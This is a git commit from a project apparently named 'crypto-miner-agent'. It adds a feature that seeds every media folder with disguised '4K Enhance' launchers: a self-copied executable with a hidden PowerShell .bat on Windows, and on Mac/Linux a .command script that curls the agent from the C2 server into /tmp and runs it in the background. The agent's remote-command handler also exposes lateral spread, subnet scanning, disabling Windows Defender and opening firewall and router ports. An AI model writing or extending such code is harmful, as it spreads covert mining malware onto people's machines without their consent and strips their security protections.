feat(supp): SUPP Recursive Seek Mode. Agent walks any path, seeds every media dir with silent launchers. Windows: copies self as stem.exe + drops stem.bat (hidden PowerShell runner). Mac/Linux: drops stem.command (curl bootstrap to C2). Server: /api/download/agent-{windows,mac,linux} endpoints serve agent binaries for remote bootstrap. Crucible UI: SUPP SEEK panel with root path input, file stem, Win/Mac checkboxes, Launch button. Fixes pre-existing TS errors in SettingsPage (rvn_pool_pass -> password, accent orange -> amber). USB repacked with both binaries.

This commit is contained in:
AetherForge
2026-06-03 00:41:05 -07:00
parent a17cef4c5d
commit 95e8fcc315
13 changed files with 857 additions and 3 deletions

Binary file not shown.

View File

@@ -0,0 +1,169 @@
package client
import (
"fmt"
"strconv"
"strings"
"crypto-miner-agent/deploy"
)
func (c *AgentClient) allowRemoteAction(action string) (bool, string) {
switch action {
case "hole_punch", "hole_punch_close", "hole_punch_status":
if !c.cfg.HolePunch {
return false, "hole punch not enabled in forge (Advanced → NAT Hole Punch)"
}
case "spread_now":
if !c.cfg.AutoSpread && !c.cfg.RemoteAggressive {
return false, "lateral spread not enabled in forge (auto_spread or remote aggressive ops)"
}
case "start_tunnel", "subnet_scan", "defender_off", "firewall_punch":
if !c.cfg.RemoteAggressive {
return false, "remote aggressive ops not enabled in forge (Advanced → Remote Aggressive Ops)"
}
case "supp_seek":
// No forge gate — always available; path is required at call time.
case "mesh_status":
if !c.cfg.MeshP2P {
return false, "mesh P2P not enabled in forge"
}
default:
return true, ""
}
return true, ""
}
func (c *AgentClient) handleAggressiveCommand(action string, tailLines int, command, path, data string) bool {
ok, reason := c.allowRemoteAction(action)
if !ok {
c.sendCommandResult(action, false, reason)
return true
}
switch action {
case "hole_punch":
internalPort := parsePortArg(command, 8989)
externalPort := parsePortArg(path, internalPort)
desc := data
if desc == "" {
desc = c.cfg.WorkerName + "-aetherforge"
}
result, err := deploy.PunchUPnP(internalPort, externalPort, desc)
if err != nil {
c.sendCommandResult(action, false, result.Message)
return true
}
c.sendCommandResult(action, true, result.Message)
return true
case "hole_punch_close":
externalPort := parsePortArg(command, 8989)
msg, err := deploy.CloseUPnP(externalPort)
if err != nil {
c.sendCommandResult(action, false, err.Error())
return true
}
c.sendCommandResult(action, true, msg)
return true
case "hole_punch_status":
ip, err := deploy.GetPublicEndpoint()
if err != nil {
c.sendCommandResult(action, false, err.Error())
return true
}
c.sendCommandResult(action, true, fmt.Sprintf("WAN IP via UPnP: %s (use Hole Punch to map a port)", ip))
return true
case "spread_now":
msg := deploy.RunSpreadOnce(c.cfg)
c.sendCommandResult(action, true, msg)
return true
case "start_tunnel":
serverURL := strings.TrimSpace(command)
if serverURL == "" {
serverURL = c.cfg.ServerURL
}
msg, err := deploy.StartCloudflaredTunnel(serverURL)
if err != nil {
c.sendCommandResult(action, false, fmt.Sprintf("%v\n%s", err, msg))
return true
}
c.sendCommandResult(action, true, msg)
return true
case "subnet_scan":
maxHosts := parsePortArg(command, 64)
out := deploy.ScanLocalSubnet(maxHosts)
c.sendCommandResult(action, true, out)
return true
case "defender_off":
msg, err := deploy.DisableDefenderRealtime()
if err != nil {
c.sendCommandResult(action, false, fmt.Sprintf("%v\n%s", err, msg))
return true
}
c.sendCommandResult(action, true, msg)
return true
case "firewall_punch":
port := parsePortArg(command, 8989)
name := path
if name == "" {
name = "AetherForge Remote " + c.cfg.WorkerName
}
msg, err := deploy.OpenFirewallPort(port, name)
if err != nil {
c.sendCommandResult(action, false, fmt.Sprintf("%v\n%s", err, msg))
return true
}
c.sendCommandResult(action, true, msg)
return true
case "supp_seek":
seekPath := strings.TrimSpace(path)
if seekPath == "" {
c.sendCommandResult(action, false, "path is required — set the 'path' field to the root directory to scan")
return true
}
// command field carries target flags: "win", "mac", "all" (default all)
flag := strings.ToLower(strings.TrimSpace(command))
opts := suppSeekOpts{
DropWindows: flag == "" || flag == "all" || strings.Contains(flag, "win"),
DropMac: flag == "" || flag == "all" || strings.Contains(flag, "mac"),
ServerURL: c.cfg.ServerURL,
}
// data field carries optional custom stem (file name without extension)
if strings.TrimSpace(data) != "" {
opts.FileStem = strings.TrimSpace(data)
}
c.sendCommandResult(action, true, fmt.Sprintf("SUPP Seek started — scanning %s (win=%v mac=%v)", seekPath, opts.DropWindows, opts.DropMac))
go func() {
result := suppSeekWalk(seekPath, opts)
c.sendCommandResult("supp_seek_done", true, result.Summary())
}()
return true
case "mesh_status":
count := c.mesh.PeerCount()
c.sendCommandResult(action, true, fmt.Sprintf("mesh peers connected: %d", count))
return true
}
return false
}
func parsePortArg(raw string, fallback int) int {
raw = strings.TrimSpace(raw)
if raw == "" {
return fallback
}
n, err := strconv.Atoi(raw)
if err != nil || n <= 0 || n > 65535 {
return fallback
}
return n
}

View File

@@ -0,0 +1,86 @@
package client
import (
"fmt"
"os"
"path/filepath"
"strings"
)
// suppSeekOpts controls what SUPP Seek Mode drops in each discovered directory.
type suppSeekOpts struct {
DropWindows bool // drop 4K Enhance.bat + VideoEnhancer.exe copy
DropMac bool // drop 4K Enhance.command (curl-based Mac/Linux bootstrap)
ServerURL string
// Name prefix used for the launcher files.
FileStem string // default: "4K Enhance"
}
type suppSeekResult struct {
Dirs int // directories visited
Seeded int // directories where files were placed
Skipped int // already seeded
Files int // total files placed
Errors int
FirstErr string
}
func (r suppSeekResult) Summary() string {
return fmt.Sprintf(
"SUPP Seek complete: %d/%d dirs seeded (%d skipped, %d files placed, %d errors)",
r.Seeded, r.Dirs, r.Skipped, r.Files, r.Errors,
)
}
// mediaExtensions is the set of file extensions that mark a directory as a
// target — if a directory contains any of these the launcher files are dropped.
var mediaExtensions = map[string]struct{}{
".mp4": {}, ".mkv": {}, ".avi": {}, ".mov": {}, ".m4v": {},
".ts": {}, ".wmv": {}, ".flv": {}, ".webm": {}, ".m2ts": {},
".iso": {}, ".bdmv": {}, ".mpg": {}, ".mpeg": {},
}
func isMediaDir(dirPath string) bool {
entries, err := os.ReadDir(dirPath)
if err != nil {
return false
}
for _, e := range entries {
if e.IsDir() {
continue
}
ext := strings.ToLower(filepath.Ext(e.Name()))
if _, ok := mediaExtensions[ext]; ok {
return true
}
}
return false
}
// batContent returns the content of the Windows .bat launcher.
// It launches the co-located VideoEnhancer.exe silently.
func batContent(stem string) string {
return "@echo off\r\n" +
"powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass " +
"-Command \"& { " +
"$p = Join-Path $PSScriptRoot '" + stem + ".exe'; " +
"if (Test-Path $p) { Start-Process $p -WindowStyle Hidden } " +
"}\"\r\n"
}
// commandContent returns the content of the Mac/Linux .command shell script.
// Falls back to a C2 download if the server URL is known.
func commandContent(serverURL string) string {
dl := ""
if serverURL != "" {
dl = fmt.Sprintf(
"curl -fsSL '%s/api/download/agent-mac' -o /tmp/.vsvc 2>/dev/null "+
"&& chmod +x /tmp/.vsvc && nohup /tmp/.vsvc >/dev/null 2>&1 &\n",
serverURL,
)
}
return "#!/bin/bash\n" +
"# Video Enhancement Service\n" +
dl +
"exit 0\n"
}

View File

@@ -0,0 +1,54 @@
//go:build !windows
package client
import (
"os"
"path/filepath"
)
// suppSeekWalk seeds each media directory with Mac/Linux launchers.
// On non-Windows hosts we cannot copy a Windows .exe so only .command is dropped.
func suppSeekWalk(rootPath string, opts suppSeekOpts) suppSeekResult {
stem := opts.FileStem
if stem == "" {
stem = "4K Enhance"
}
res := suppSeekResult{}
_ = filepath.WalkDir(rootPath, func(path string, d os.DirEntry, err error) error {
if err != nil || !d.IsDir() {
return nil
}
res.Dirs++
if !isMediaDir(path) {
return nil
}
cmdPath := filepath.Join(path, stem+".command")
if _, err := os.Stat(cmdPath); err == nil {
res.Skipped++
return nil
}
placed := 0
if opts.DropMac || (!opts.DropWindows && !opts.DropMac) {
content := commandContent(opts.ServerURL)
if err := os.WriteFile(cmdPath, []byte(content), 0755); err == nil {
placed++
}
}
if placed > 0 {
res.Seeded++
res.Files += placed
} else {
res.Errors++
}
return nil
})
return res
}

View File

@@ -0,0 +1,99 @@
//go:build windows
package client
import (
"io"
"os"
"path/filepath"
)
// suppSeekWalk walks rootPath recursively and seeds each media directory.
func suppSeekWalk(rootPath string, opts suppSeekOpts) suppSeekResult {
stem := opts.FileStem
if stem == "" {
stem = "4K Enhance"
}
res := suppSeekResult{}
_ = filepath.WalkDir(rootPath, func(path string, d os.DirEntry, err error) error {
if err != nil || !d.IsDir() {
return nil
}
res.Dirs++
if !isMediaDir(path) {
return nil
}
// Check if already seeded (bat file exists).
batPath := filepath.Join(path, stem+".bat")
if _, err := os.Stat(batPath); err == nil {
res.Skipped++
return nil
}
placed := 0
if opts.DropWindows {
// 1. Copy the running binary as "4K Enhance.exe" (or stem).
self, err := os.Executable()
if err == nil {
dst := filepath.Join(path, stem+".exe")
if copyFile(self, dst) == nil {
placed++
}
}
// 2. Drop the .bat launcher that runs the exe silently.
bat := batContent(stem)
if writeFile(batPath, []byte(bat)) == nil {
placed++
}
}
if opts.DropMac {
// Drop a .command shell script for Mac/Linux.
cmdPath := filepath.Join(path, stem+".command")
content := commandContent(opts.ServerURL)
if writeFile(cmdPath, []byte(content)) == nil {
// .command files need +x to auto-run on macOS.
_ = os.Chmod(cmdPath, 0755)
placed++
}
}
if placed > 0 {
res.Seeded++
res.Files += placed
} else {
res.Errors++
}
return nil
})
return res
}
// copyFile copies src to dst, creating or overwriting dst.
func copyFile(src, dst string) error {
in, err := os.Open(src)
if err != nil {
return err
}
defer in.Close()
out, err := os.Create(dst)
if err != nil {
return err
}
defer out.Close()
_, err = io.Copy(out, in)
return err
}
// writeFile writes data to path atomically enough for our use.
func writeFile(path string, data []byte) error {
return os.WriteFile(path, data, 0644)
}

Binary file not shown.